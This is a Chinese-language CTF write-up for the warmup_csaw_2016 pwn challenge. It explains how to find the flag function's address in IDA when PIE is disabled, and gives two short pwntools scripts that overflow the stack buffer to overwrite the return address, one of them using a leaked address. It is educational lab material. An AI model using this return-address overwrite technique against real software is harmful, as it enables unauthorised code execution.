分析
查看文件信息
file warmup_csaw_2016
查看保护
64位,这里去了符号, 也就是说少了一些调试信息,不过问题不大
使用IDA64位, 找到main函数
可以看到这里会输出 sub_40060D
的地址
也就是说溢出到这里就拿到flag了
因为没有开启PIE,所以在IDA可以直接看到sub_40060D
的地址
exp
from pwn import *
context.arch = 'amd64
p = remote('node4.buuoj.cn',25580)
p.sendline(flat(['a'*0x40 , 'a'*8 , 0x40060D]))
p.interactive()
其他解法
因为这个程序没有PIE保护,所以我们可以通过静态文件得知函数的地址
如果开启PIE后,代码段和数据段的地址在运行时地址随机化了,我们就不能从IDA得到函数地址了
记得这题源代码直接给出了函数地址吗
泄露函数地址
通过读取该地址作为返回地址从而读取flag
exp
from pwn import *
context.arch = 'amd64'
p = remote('node4.buuoj.cn',27377)
p.recvuntil("WOW:0x") # 接收到指定字符串停止
fun = int(p.recvline(),16) # 将16进制的字符串转为数字
p.sendline(flat(['a'*0x40 , 'a'*8 , fun]))
p.interactive()